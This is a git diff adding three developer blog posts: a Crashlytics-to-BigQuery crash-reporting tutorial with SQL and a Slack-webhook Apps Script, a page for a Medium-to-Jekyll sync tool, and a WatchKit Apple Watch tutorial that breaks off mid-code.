diff --git a/posts/e77b80cc6f89/index.html b/posts/e77b80cc6f89/index.html new file mode 100644 index 0000000000..c675b26d6a --- /dev/null +++ b/posts/e77b80cc6f89/index.html @@ -0,0 +1,515 @@ + Crashlytics + Big Query: Creating a More Immediate and Convenient Crash Tracking Tool | ZhgChgLi
Home Crashlytics + Big Query: Creating a More Immediate and Convenient Crash Tracking Tool
Post
Cancel

Crashlytics + Big Query: Creating a More Immediate and Convenient Crash Tracking Tool

Crashlytics + Big Query: Creating a More Immediate and Convenient Crash Tracking Tool

Integrating Crashlytics and Big Query to automatically forward crash records to a Slack Channel

Results

Pinkoi iOS Team Real Photo

Pinkoi iOS Team Real Photo

First, let’s look at the results. We query Crashlytics crash records regularly every week; filter out the top 10 issues with the most crashes; and send the information to a Slack Channel, making it convenient for all iOS teammates to quickly understand the current stability.

Problem

For app developers, the Crash-Free Rate can be said to be the most important metric; the data represents the proportion of app users who did not encounter crashes. I think every app would hope its Crash-Free Rate ~= 99.9%; but the reality is that it’s impossible. As long as there is code, there can be bugs, not to mention some crashes are caused by underlying issues (Apple) or third-party SDKs. Additionally, the DAU (Daily Active Users) volume can also impact the Crash-Free Rate. The higher the DAU, the more likely it is to encounter many sporadic crash issues.

Since a 100% crash-free app does not exist, tracking and handling crashes becomes very important. Besides the most common Google Firebase Crashlytics (formerly Fabric), there are other options like Bugsnag and Bugfender. I haven’t compared these tools personally, so interested friends can research on their own. If you use other tools, the content introduced in this article won’t be applicable.

Crashlytics

The benefits of choosing Crashlytics are:

  • Stability, backed by Google
  • Free, easy, and quick to install
  • Besides crashes, it can also log error events (e.g., Decode Error)
  • One Firebase suite can handle everything: other services include Google Analytics, Realtime Database, Remote Config, Authentication, Cloud Messaging, Cloud Storage…

Side note: It is not recommended to build a formal service entirely on Firebase, as the charges can become very expensive once the traffic increases… it’s a trap.

Crashlytics also has many drawbacks:

  • Crashlytics does not provide an API to query crash data
  • Crashlytics only stores crash records for the last 90 days
  • Crashlytics’ Integrations support and flexibility are extremely poor

The most painful part is the poor support and flexibility of Integrations, coupled with the lack of an API to write scripts to connect crash data. This means you have to manually check Crashlytics for crash records from time to time to track crash issues.

Crashlytics only supports the following Integrations:

  1. [Email Notification] — Trending stability issues (crash issues encountered by more and more people)
  2. [Slack, Email Notification] — New Fatal Issue (crash issue)
  3. [Slack, Email Notification] — New Non-Fatal Issue (non-crash issue)
  4. [Slack, Email Notification] — Velocity Alert (crash issues that suddenly increase in number)
  5. [Slack, Email Notification] — Regression Alert (issues that were solved but reappeared)
  6. Crashlytics to Jira issue

The content and rules of the above Integrations cannot be customized.

Initially, we directly used 2. New Fatal Issue to Slack or Email, and for Email, we used Google Apps Script to trigger subsequent processing scripts; however, this notification would bombard the notification channel crazily, because it would notify for any issue, big or small, or even sporadic crashes caused by user devices or iOS itself. As DAU increased, we were bombarded by these notifications every day, and only about 10% of them were truly valuable, related to our program errors, and encountered by many users.

As a result, it did not solve the problem of Crashlytics being difficult to track automatically, and we still had to spend a lot of time reviewing whether the issue was important.

Crashlytics + Big Query

After searching around, we only found this method, and the official also only provides this method; this is the trap under the free candy coating. I guess neither Crashlytics nor Analytics Event will or plan to launch an API for users to query data via API; because the only official suggestion is to import the data into Big Query for use, and Big Query charges for storage and queries beyond the free quota.

Storage: The first 10 GB per month is free.

Query: The first 1 TB per month is free. (The query quota means how much data is processed when you run a Select query)

For details, refer to Big Query pricing.

The setup details for Crashlytics to Big Query can be found in the official documentation, which requires enabling GCP services, binding a credit card, etc.

Start Using Big Query to Query Crashlytics Log

After setting up the Crashlytics Log to Big Query import cycle and completing the first import with data, we can start querying the data.

First, go to Firebase Project -> Crashlytics -> Click the “•••” in the top right corner of the list -> Click “BigQuery dataset”.

After going to GCP -> Big Query, you can select “firebase_crashlytics” in the left “Explorer” -> select your Table name -> “Detail” -> You can view the Table information on the right, including the latest modification time, used capacity, storage period, etc.

Make sure there is imported data available for querying.

You can switch to the “SCHEMA” tab at the top to view the Table’s column information or refer to the official documentation.

Click the “Query” button in the top right to open an interface with an assisted SQL Builder (if you are not familiar with SQL, it is recommended to use this):

Or directly click “COMPOSE NEW QUERY” to open a blank Query Editor:

Regardless of the method, it is the same text editor; after entering the SQL, you can automatically complete the SQL syntax check and estimate the query quota cost in the top right (This query will process XXX when run.):

After confirming the query, click “RUN” in the top left to execute the query, and the results will be displayed in the Query results section below.

⚠️ Pressing “RUN” to execute the query will accumulate the query quota and incur charges; so please be careful not to run queries recklessly.

If you are unfamiliar with SQL, you can first understand the basic usage and then refer to the Crashlytics official examples for modification:

1. Count the number of crashes per day for the past 30 days:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
SELECT
+  COUNT(DISTINCT event_id) AS number_of_crashes,
+  FORMAT_TIMESTAMP("%F", event_timestamp) AS date_of_crashes
+FROM
+ `yourProjectID.firebase_crashlytics.yourTableName`
+GROUP BY
+  date_of_crashes
+ORDER BY
+  date_of_crashes DESC
+LIMIT 30;
+

2. Query the top 10 most frequent crashes in the past 7 days:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
SELECT
+  DISTINCT issue_id,
+  COUNT(DISTINCT event_id) AS number_of_crashes,
+  COUNT(DISTINCT installation_uuid) AS number_of_impacted_user,
+  blame_frame.file,
+  blame_frame.line
+FROM
+  `yourProjectID.firebase_crashlytics.yourTableName`
+WHERE
+  event_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(),INTERVAL 168 HOUR)
+  AND event_timestamp < CURRENT_TIMESTAMP()
+GROUP BY
+  issue_id,
+  blame_frame.file,
+  blame_frame.line
+ORDER BY
+  number_of_crashes DESC
+LIMIT 10;
+

However, the data retrieved using this official example is sorted differently from what you see in Crashlytics. This is likely because it groups by blame_frame.file (nullable) and blame_frame.line (nullable).

3. Query the top 10 devices with the most crashes in the past 7 days:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
SELECT
+  device.model,
+COUNT(DISTINCT event_id) AS number_of_crashes
+FROM
+  `yourProjectID.firebase_crashlytics.yourTableName`
+WHERE
+  event_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 168 HOUR)
+  AND event_timestamp < CURRENT_TIMESTAMP()
+GROUP BY
+  device.model
+ORDER BY
+  number_of_crashes DESC
+LIMIT 10;
+

For more examples, please refer to the official documentation.

If your SQL query returns no data, first ensure that the Crashlytics data for the specified conditions has been imported into Big Query (for example, the default SQL example queries the crash records of the day, but the data might not have been synchronized yet, so no results are found); if there is data, then check whether the filter conditions are correct.

Top 10 Crashlytics Issue Big Query SQL

Here, we modify the official example from point 2. We want the results to match the crash issues and sorting data we see on the first page of Crashlytics.

Top 10 crash issues in the past 7 days:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
SELECT 
+  DISTINCT issue_id, 
+  issue_title, 
+  issue_subtitle, 
+  COUNT(DISTINCT event_id) AS number_of_crashes, 
+  COUNT(DISTINCT installation_uuid) AS number_of_impacted_user 
+FROM 
+  `yourProjectID.firebase_crashlytics.yourTableName`
+WHERE 
+  is_fatal = true 
+  AND event_timestamp >= TIMESTAMP_SUB(
+    CURRENT_TIMESTAMP(), 
+    INTERVAL 7 DAY
+  ) 
+GROUP BY 
+  issue_id, 
+  issue_title, 
+  issue_subtitle 
+ORDER BY 
+  number_of_crashes DESC 
+LIMIT 
+  10;
+

Comparison of Crashlytics’ Top 10 crash issues results, matched ✅.

Use Google Apps Script to regularly query & forward to Slack

Go to Google Apps Script homepage -> Log in with the same account as Big Query -> Click “New Project” in the upper left corner, and you can rename the project after opening a new project.

First, let’s complete the integration with Big Query to get the query data:

Refer to the official documentation example, and bring in the above Query SQL.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+
function queryiOSTop10Crashes() {
+  var request = {
+    query: 'SELECT DISTINCT issue_id, issue_title, issue_subtitle, COUNT(DISTINCT event_id) AS number_of_crashes, COUNT(DISTINCT installation_uuid) AS number_of_impacted_user FROM `firebase_crashlytics.YourTableName` WHERE is_fatal = true AND event_timestamp >= TIMESTAMP_SUB( CURRENT_TIMESTAMP(), INTERVAL 7 DAY ) GROUP BY issue_id, issue_title, issue_subtitle ORDER BY number_of_crashes DESC LIMIT 10;',
+    useLegacySql: false
+  };
+  var queryResults = BigQuery.Jobs.query(request, 'YourProjectID');
+  var jobId = queryResults.jobReference.jobId;
+
+  // Check on status of the Query Job.
+  var sleepTimeMs = 500;
+  while (!queryResults.jobComplete) {
+    Utilities.sleep(sleepTimeMs);
+    sleepTimeMs *= 2;
+    queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId);
+  }
+
+  // Get all the rows of results.
+  var rows = queryResults.rows;
+  while (queryResults.pageToken) {
+    queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId, {
+      pageToken: queryResults.pageToken
+    });
+    Logger.log(queryResults.rows);
+    rows = rows.concat(queryResults.rows);
+  }
+
+  var data = new Array(rows.length);
+  for (var i = 0; i < rows.length; i++) {
+    var cols = rows[i].f;
+    data[i] = new Array(cols.length);
+    for (var j = 0; j < cols.length; j++) {
+      data[i][j] = cols[j].v;
+    }
+  }
+
+  return data
+}
+

query: The parameters can be arbitrarily replaced with the written Query SQL.

The structure of the returned object is as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+
[
+  [
+    "67583e77da3b9b9d3bd8feffeb13c8d0",
+    "<compiler-generated> line 2147483647",
+    "specialized @nonobjc NSAttributedString.init(data:options:documentAttributes:)",
+    "417",
+    "355"
+  ],
+  [
+    "a590d76bc71fd2f88132845af5455c12",
+    "libnetwork.dylib",
+    "nw_endpoint_flow_copy_path",
+    "259",
+    "207"
+  ],
+  [
+    "d7c3b750c3e5587c91119c72f9f6514d",
+    "libnetwork.dylib",
+    "nw_endpoint_flow_copy_path",
+    "138",
+    "118"
+  ],
+  [
+    "5bab14b8f8b88c296354cd2e",
+    "CoreFoundation",
+    "-[NSCache init]",
+    "131",
+    "117"
+  ],
+  [
+    "c6ce52f4771294f9abaefe5c596b3433",
+    "XXX.m line 975",
+    "-[XXXX scrollToMessageBottom]",
+    "85",
+    "57"
+  ],
+  [
+    "712765cb58d97d253ec9cc3f4b579fe1",
+    "<compiler-generated> line 2147483647",
+    "XXXXX.heightForRow(at:tableViewWidth:)",
+    "67",
+    "66"
+  ],
+  [
+    "3ccd93daaefe80f024cc8a7d0dc20f76",
+    "<compiler-generated> line 2147483647",
+    "XXXX.tableView(_:cellForRowAt:)",
+    "59",
+    "59"
+  ],
+  [
+    "f31a6d464301980a41367b8d14f880a3",
+    "XXXX.m line 46",
+    "-[XXXX XXX:XXXX:]",
+    "50",
+    "41"
+  ],
+  [
+    "c149e1dfccecff848d551b501caf41cc",
+    "XXXX.m line 554",
+    "-[XXXX tableView:didSelectRowAtIndexPath:]",
+    "48",
+    "47"
+  ],
+  [
+    "609e79f399b1e6727222a8dc75474788",
+    "Pinkoi",
+    "specialized JSONDecoder.decode<A>(_:from:)",
+    "47",
+    "38"
+  ]
+]
+

You can see it is a two-dimensional array.

Add the function to forward to Slack:

Continue adding the new function below the above code.

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+
function sendTop10CrashToSlack() {
+
+  var iOSTop10Crashes = queryiOSTop10Crashes();
+  var top10Tasks = new Array();
+  
+  for (var i = 0; i < iOSTop10Crashes.length ; i++) {
+    var issue_id = iOSTop10Crashes[i][0];
+    var issue_title = iOSTop10Crashes[i][1];
+    var issue_subtitle = iOSTop10Crashes[i][2];
+    var number_of_crashes = iOSTop10Crashes[i][3];
+    var number_of_impacted_user = iOSTop10Crashes[i][4];
+
+    var strip_title = issue_title.replace(/[\<|\>]/g, '');
+    var strip_subtitle = issue_subtitle.replace(/[\<|\>]/g, '');
+    
+    top10Tasks.push("<https://console.firebase.google.com/u/1/project/YOUR_FIREBASE_PROJECTID/crashlytics/app/YOUR_FIREBASE_APP_PROJECT_ID/issues/"+issue_id+"|"+(i+1)+". Crash: "+number_of_crashes+" times ("+number_of_impacted_user+" users) - "+strip_title+" "+strip_subtitle+">");
+  }
+
+  var messages = top10Tasks.join("\n");
+  var payload = {
+    "blocks": [
+      {
+        "type": "header",
+        "text": {
+          "type": "plain_text",
+          "text": ":bug::bug::bug: iOS Top 10 Crashes in the Last 7 Days :bug::bug::bug:",
+          "emoji": true
+        }
+      },
+      {
+        "type": "divider"
+      },
+      {
+        "type": "section",
+        "text": {
+          "type": "mrkdwn",
+          "text": messages
+        }
+      },
+      {
+        "type": "divider"
+      },
+      {
+        "type": "actions",
+        "elements": [
+          {
+            "type": "button",
+            "text": {
+              "type": "plain_text",
+              "text": "View Last 7 Days in Crashlytics",
+              "emoji": true
+            },
+            "url": "https://console.firebase.google.com/u/1/project/YOUR_FIREBASE_PROJECTID/crashlytics/app/YOUR_FIREBASE_APP_PROJECT_ID/issues?time=last-seven-days&state=open&type=crash&tag=all"
+          },
+          {
+            "type": "button",
+            "text": {
+              "type": "plain_text",
+              "text": "View Last 30 Days in Crashlytics",
+              "emoji": true
+            },
+            "url": "https://console.firebase.google.com/u/1/project/YOUR_FIREBASE_PROJECTID/crashlytics/app/YOUR_FIREBASE_APP_PROJECT_ID/issues?time=last-thirty-days&state=open&type=crash&tag=all"
+          }
+        ]
+      },
+      {
+        "type": "context",
+        "elements": [
+          {
+            "type": "plain_text",
+            "text": "Crash counts and versions are only counted for the last 7 days, not all data.",
+            "emoji": true
+          }
+        ]
+      }
+    ]
+  };
+
+  var slackWebHookURL = "https://hooks.slack.com/services/XXXXX"; //Replace with your in-coming webhook URL
+  UrlFetchApp.fetch(slackWebHookURL,{
+    method             : 'post',
+    contentType        : 'application/json',
+    payload            : JSON.stringify(payload)
+  })
+}
+

If you don’t know how to obtain the incoming WebHook URL, you can refer to the “Obtaining Incoming WebHooks App URL” section in this article.

Testing & Scheduling

At this point, your Google Apps Script project should have the above two functions.

Next, please select the “sendTop10CrashToSlack” function at the top, and then click Debug or Run to execute a test run; since the first execution requires authentication, please execute it at least once before proceeding to the next step.

After successfully executing a test run, you can start setting up the schedule for automatic execution:

Select the clock icon on the left, then choose “+ Add Trigger” at the bottom right.

For the first “Choose which function to run” (entry point of the function to be executed), change it to sendTop10CrashToSlack. The time period can be set according to personal preference.

⚠️⚠️⚠️ Please be aware that each query will accumulate and incur charges, so do not set it up carelessly; otherwise, you might end up bankrupt due to automatic scheduling.

Completion

Example Result Image

Example Result Image

From now on, you can quickly track the current app crash issues on Slack; you can even discuss them directly there.

App Crash-Free Users Rate?

If you want to track the App Crash-Free Users Rate, you can refer to the next article “Crashlytics + Google Analytics Automatic Query for App Crash-Free Users Rate

Further Reading

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

2021 Pinkoi Tech Career Talk - Decoding the High-Efficiency Engineering Team

The Past and Present of iOS Privacy and Convenience

diff --git a/posts/e7c547a5be22/index.html b/posts/e7c547a5be22/index.html new file mode 100644 index 0000000000..9544b42177 --- /dev/null +++ b/posts/e7c547a5be22/index.html @@ -0,0 +1,3 @@ + ZMediumToJekyll | ZhgChgLi
Home ZMediumToJekyll
Post
Cancel

ZMediumToJekyll

ZMediumToJekyll

Move your Medium posts to a Jekyll blog and keep them in sync in the future.

This tool can help you move your Medium posts to a Jekyll blog and keep them in sync in the future.

It will automatically download your posts from Medium, convert them to Markdown, and upload them to your repository, check out my blog for online demo zhgchg.li .

One-time setting, Lifetime enjoying❤️

Powered by ZMediumToMarkdown .

If you only want to create a backup or auto-sync of your Medium posts, you can use the GitHub Action directly by following the instructions in this Wiki .

Setup

  • You can follow along with each step of this process by watching the following video tutorial

How to move your Medium blog to Jekyll blog

  1. Click the green button Use this template located above and select Create a new repository.
  2. Repo Owner could be an organization or username.
  3. Enter the Repository Name, which usually uses your GitHub Username/Organization Name and ends with .github.io, for example, my organization name is zhgchgli then it’ll be zhgchgli.github.io.
  4. Select the public repository option, and then click on Create repository from template.
  5. Grant access to GitHub Actions by going to the Settings tab in your GitHub repository, selecting Actions -> General, and finding the Workflow permissions section, then, select Read and write permissions, and click on Save to save the changes.

*If you choose a different Repository Name, the GitHub page will be https://username.github.io/Repository Name instead of https://username.github.io/, and you will need to fill in the baseurl field in _config.yml with your Repository Name.

*If you are using an organization and cannot enable Read and Write permissions in the repository settings, please refer to the organization settings page and enable it there.

First-time run

  1. Please refer to the configuration information in the section below and make sure to specify your Medium username in the _zmediumtomarkdown.yml file.
  2. ⌛️ Please wait for the Automatic Build and pages-build-deployment GitHub actions to finish before making any further changes.
  3. Then, you can manually run the ZMediumToMarkdown GitHub action by going to the Actions tab in your GitHub repository, selecting the ZMediumToMarkdown action, clicking on the Run workflow button, and selecting the main branch.
  4. ⌛️ Please wait for the action to download and convert all Medium posts from the specified username, and commit the posts to your repository.
  5. ⌛️ Please wait for the Automatic Build and pages-build-deployment actions will also need to finish before making any further changes, and that they will start automatically once the ZMediumToMarkdown action has completed.
  6. Go to the Settings section of your GitHub repository and select Pages. In the Branch field, select gh-pages, and leave /(root) selected as the default. Click Save, you can also find the URL for your GitHub page at the top of the page.
  7. ⌛️ Please wait for the Pages build and deployment action to finish.
  8. 🎉 After all actions are completed, you can visit your xxx.github.io page to verify that the results are correct. Congratulations! 🎉

*To avoid expected Git conflicts or unexpected errors, please follow the steps carefully and in order, and be patient while waiting for each action to complete.

*Note that the first time running may take longer.

*If you open the URL and notice that something is wrong, such as the web style being missing, please ensure that your configuration in the _config.yml file is correct.

*Please refer to the ‘Things to Know’ and ‘Troubleshooting’ sections below for more information.

Configuration

Site Setting

_zmediumtomarkdown.yml

1
+
medium_username: # enter your username on Medium.com
+

Please specify your Medium username for automatic download and syncing of your posts.

_config.yml & jekyll setting

For more information, please refer to jekyll-theme-chirpy or jekyllrb .

Github Action

ZMediumToMarkdown

You can configure the time interval for syncing in ./.github/workflows/ZMediumToMarkdown.yml .

The default time interval for syncing is once per day.

You can also manually run the ZMediumToMarkdown action by going to the Actions tab in your GitHub repository, selecting the ZMediumToMarkdown action, clicking on the Run workflow button, and selecting the main branch.

Disclaimer

All content downloaded using ZMediumToMarkdown, including but not limited to articles, images, and videos, are subject to copyright laws and belong to their respective owners. ZMediumToMarkdown does not claim ownership of any content downloaded using this tool.

Downloading and using copyrighted content without the owner’s permission may be illegal and may result in legal action. ZMediumToMarkdown does not condone or support copyright infringement and will not be held responsible for any misuse of this tool.

Users of ZMediumToMarkdown are solely responsible for ensuring that they have the necessary permissions and rights to download and use any content obtained using this tool. ZMediumToMarkdown is not responsible for any legal issues that may arise from the misuse of this tool.

By using ZMediumToMarkdown, users acknowledge and agree to comply with all applicable copyright laws and regulations.

Troubleshooting

My GitHub page keeps presenting a 404 error or doesn’t update with the latest posts.

  • Please make sure you have followed the setup steps above in order.
  • Wait for all GitHub actions to finish, including the Pages build and deployment and Automatic Build actions, you can check the progress on the Actions tab.
  • Make sure you have the correct settings selected in Settings -> Pages.

Things to know

  • The ZMediumToMarkdown GitHub Action for syncing Medium posts will automatically run every day by default, and you can also manually trigger it on the GitHub Actions page or adjust the sync frequency as needed.
  • Every commit and post change will trigger the Automatic Build & Pages build and deployment action. Please wait for this action to finish before checking the final result.
  • You can create your own Markdown posts in the _posts directory by naming the file as YYYY-MM-DD-POSTNAME and recommend using lowercase file names.
  • You can include images and other resources in the /assets directory.
  • Also, if you would like to remove the ZMediumToMarkdown watermark located at the bottom of the post, you may do so. I don’t mind.
  • You can edit the Ruby file at tools/optimize_markdown.rb and uncomment lines 10–12. This will automatically remove the ZMediumToMarkdown watermark at the end of all posts during Jekyll build time.
  • Since ZMediumToMarkdown is not an official tool and Medium does not provide a public API for it, I cannot guarantee that the parser target will not change in the future. However, I have tried to test it for as many cases as possible. If you encounter any rendering errors or Jekyll build errors, please feel free to create an issue and I will fix them as soon as possible.

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

The Craft of Building a Handmade HTML Parser

Travelogue 2023 Kansai 8-Day Free and Easy Trip

diff --git a/posts/e85d77b05061/index.html b/posts/e85d77b05061/index.html new file mode 100644 index 0000000000..d4adf5131d --- /dev/null +++ b/posts/e85d77b05061/index.html @@ -0,0 +1,617 @@ + Let's Build an Apple Watch App! | ZhgChgLi
Home Let's Build an Apple Watch App!
Post
Cancel

Let's Build an Apple Watch App!

Let’s Build an Apple Watch App! (Swift)

Step-by-step development of an Apple Watch App from scratch with watchOS 5

[Latest] Apple Watch Series 6 Unboxing & Two-Year Experience >>>Click Here

Introduction:

It’s been almost three months since my last Apple Watch Unboxing, and I finally found the opportunity to explore developing an Apple Watch App.

[Wedding App — The Largest Wedding Planning App](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329#?platform=appleWatch){:target="_blank"}

Wedding App — The Largest Wedding Planning App

Here are my thoughts after using it for three months:

  1. e-sim (LTE) still hasn’t found a use case, so I haven’t applied for or used it yet.
  2. Frequently used features: unlocking Mac computers, checking notifications by raising the wrist, Apple Pay.
  3. Health reminders: After three months, I’ve started to slack off. I just glance at the notifications and don’t feel compelled to complete the rings.
  4. Third-party app support is still very poor.
  5. Watch faces can be changed according to mood, adding a sense of freshness.
  6. More detailed exercise records: For example, if I walk a bit further to buy dinner, the watch will automatically detect and ask if I want to record the exercise.

Overall, after three months of use, it still feels like a little life assistant, helping you with trivial matters, just as I wrote in the original unboxing article.

Third-party app support is still very poor

Before I actually developed an Apple Watch App, I was puzzled as to why the apps on Apple Watch were so basic, even just “usable,” including LINE (messages not synced and never updated), Messenger (just usable); until I actually developed an Apple Watch App and understood the developers’ difficulties…

First, understand the positioning of Apple Watch Apps, simplify complexity

The positioning of the Apple Watch is “not to replace the iPhone, but to assist”. This is the direction of official introductions, official apps, and watchOS APIs; hence, third-party apps feel basic and have limited functionality (sorry, I was too greedy Orz).

Take our app as an example, it has features like searching for vendors, viewing columns, discussion forums, online inquiries, etc.; online inquiries are valuable to bring to the Apple Watch because they require real-time and faster responses, which increases the chance of getting orders. Searching for vendors, viewing columns, and discussion forums are relatively complex features, and even if they can be done on the watch, it doesn’t make much sense (the screen can display too little information, and they don’t require real-time responses).

The core concept is still “assistive,” so not every feature needs to be brought to the Apple Watch; after all, users rarely have only the watch without the phone, and in such cases, the user’s needs are only for important features (like viewing column articles, which is not important enough to need to be viewed immediately on the watch).

Let’s get started!

This is also my first time developing an Apple Watch App, the content of the article may not be in-depth enough, please give me your advice!!

This article is only suitable for readers who have developed iOS Apps/UIKit basics

This article uses: iOS ≥ 9, watchOS ≥ 5

Create a new watchOS Target for the iOS project:

File -> New -> Target -> watchOS -> WatchKit App

File -> New -> Target -> watchOS -> WatchKit App

*Apple Watch Apps cannot be installed independently, they must be attached to an iOS App

After creating it, the directory will look like this:

You will find two Target items, both indispensable:

  1. WatchKit App: Responsible for storing resources and UI display /Interface.storyboard: Same as iOS, it contains the system default created view controller /Assets.xcassets: Same as iOS, stores the resources used /info.plist: Same as iOS, WatchKit App related settings
  2. WatchKit Extension: Responsible for program calls and logic processing (*.swift) /InterfaceController.swift: Default view controller program /ExtensionDelegate.swift: Similar to Swift’s AppDelegate, the entry point for Apple Watch App startup /NotificationController.swift: Used to handle push notifications on the Apple Watch App /Assets.xcassets: Not used here, I put everything in WatchKit App’s Assets.xcassets /info.plist: Same as iOS, WatchKit Extension related settings /PushNotificationPayload.apns: Push notification data, can be used to test push notification functionality on the simulator

Details will be introduced later, for now, just get a general understanding of the directory and file content functions.

View Controller:

In Apple Watch, the view controller is not called ViewController but InterfaceController. You can find the Interface Controller Scene in WatchKit App/Interface.storyboard, and the program that controls it is in WatchKit Extension/InterfaceController.swift (same concept as iOS)

The Scene is initially squeezed together with the Notification Controller Scene (I will pull it up a bit to separate them)

The Scene is initially squeezed together with the Notification Controller Scene (I will pull it up a bit to separate them)

You can set the title display text of the InterfaceController on the right.

The title color part is set by Interface Builder Document/Global hint, the style color of the entire App will be unified.

Component Library:

There are not many complex components, and the functions of the components are simple and clear

There are not many complex components, and the functions of the components are simple and clear.

UI Layout:

A tall building starts from the View. The layout part does not have Auto Layout, constraints, or layers like in UIKit (iOS). All layout settings are done using parameters, which is simpler and more powerful (the layout is somewhat like UIStackView in UIKit).

All layouts are composed of Groups, similar to UIStackView in UIKit but with more layout parameters

Group parameter settings

Group parameter settings:

  1. Layout: Set the layout method of the subviews contained within (horizontal, vertical, layered stacking)
  2. Insets: Set the margins of the Group (top, bottom, left, right)
  3. Spacing: Set the spacing between the subviews contained within
  4. Radius: Set the corner radius of the Group, that’s right! WatchKit comes with corner radius setting parameters
  5. Alignment/Horizontal: Set the horizontal alignment method (left, center, right) which will interact with the neighboring and outer wrapping views
  6. Alignment/Vertical: Set the vertical alignment method (top, center, bottom) which will interact with the neighboring and outer wrapping views
  7. Size/Width: Set the size of the Group, with three modes to choose from “Fixed: specify width”, “Size To Fit Content: determine width based on the size of the content subviews”, “Relative to Container: refer to the size of the outer wrapping view as the width (can set %/+- correction value)”
  8. Size/Height: Same as Size/Width, this item sets the height

Font/Font Size Settings:

You can directly apply the system’s Text Styles or use Custom (but I found that using Custom couldn’t set the font size); so I used System to customize the font size for each display Label.

Learning by Doing: Layout Example with Line

The layout is not as complicated as iOS, so I’ll demonstrate it directly through an example for you to get started quickly; using Line’s homepage layout as an example:

In WatchKit App/Interface.storyboard, find the Interface Controller Scene:

  1. The entire page is equivalent to UITableView used in iOS App development. In Apple Watch App, the operation is simplified, and the name is changed to “WKInterfaceTable”. First, drag a Table to the Interface Controller Scene.

Like UIKit UITableView, there is the Table itself and the Cell (called Row in Apple Watch); it is much simpler to use, you can directly design the layout of the Cell in this interface!

  1. Analyze the layout structure and design the Row display style:

To create a layout with a rounded full-width Image on the left and a stacked Label, and two evenly divided blocks on the right, with a Label on the top and another Label on the bottom.

2-1: Create the structure of the left and right blocks

Drag two Groups into the Group and set the Size parameters respectively:

Left green part:

Layout setting Overlap, the sub-View inside needs to stack the unread message Label

Layout setting Overlap, the sub-View inside needs to stack the unread message Label

Set a fixed square with a width and height of 40

Set a fixed square with a width and height of 40

Right red part:

Layout setting Vertical, the sub-View inside needs to display two items vertically

Layout setting Vertical, the sub-View inside needs to display two items vertically

Width setting refers to the outer layer, 100% ratio, minus the 40 of the left green part

Width setting refers to the outer layer, 100% ratio, minus the 40 of the left green part

Layout inside the left and right containers:

Left part: Drag in an Image, then drag in a Group containing a Label and align it to the bottom right (set the Group background color, spacing, and rounded corners)

Right part: Drag in two Labels, one aligned to the top left and the other aligned to the bottom left.

Naming the Row (same as setting the identifier for Cell in UIKit UITableView):

Select Row -> Identifier -> Enter custom name

Select Row -> Identifier -> Enter custom name

Are there multiple display styles for Rows?

Very simple, just drag another Row into the Table (which Row style to display is controlled by the program) and enter the Identifier name.

Here I drag another Row for displaying a no data prompt

Here I drag another Row for displaying a no data prompt.

WatchKit’s hidden does not occupy space, it can be used for interactive applications (display Table when logged in; display prompt Label when not logged in).

The layout is now complete, you can modify it according to your design; it’s easy to get started, practice a few more times, and play with the alignment parameters to get familiar!

Program Control Section:

Continuing with Row, we need to create a Class to reference the Row:

1
+2
+
class ContactRow:NSObject {
+}
+

1
+2
+3
+4
+5
+6
+7
+8
+
class ContactRow:NSObject {
+    var id:String?
+    @IBOutlet var unReadGroup: WKInterfaceGroup!
+    @IBOutlet var unReadLabel: WKInterfaceLabel!
+    @IBOutlet weak var imageView: WKInterfaceImage!
+    @IBOutlet weak var nameLabel: WKInterfaceLabel!
+    @IBOutlet weak var timeLabel: WKInterfaceLabel!
+}
+

Pull outlets, store variables

For the Table part, also pull the Outlet to the Controller:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+
class InterfaceController: WKInterfaceController {
+
+    @IBOutlet weak var Table: WKInterfaceTable!
+    override func awake(withContext context: Any?) {
+        super.awake(withContext: context)
+        
+        // Configure interface objects here.
+    }
+    
+    override func willActivate() {
+        // This method is called when watch view controller is about to be visible to user
+        super.willActivate()
+    }
+    
+    struct ContactStruct {
+        var name:String
+        var image:String
+        var time:String
+    }
+    
+    func loadData() {
+        //Get API Call Back...
+        //postData {
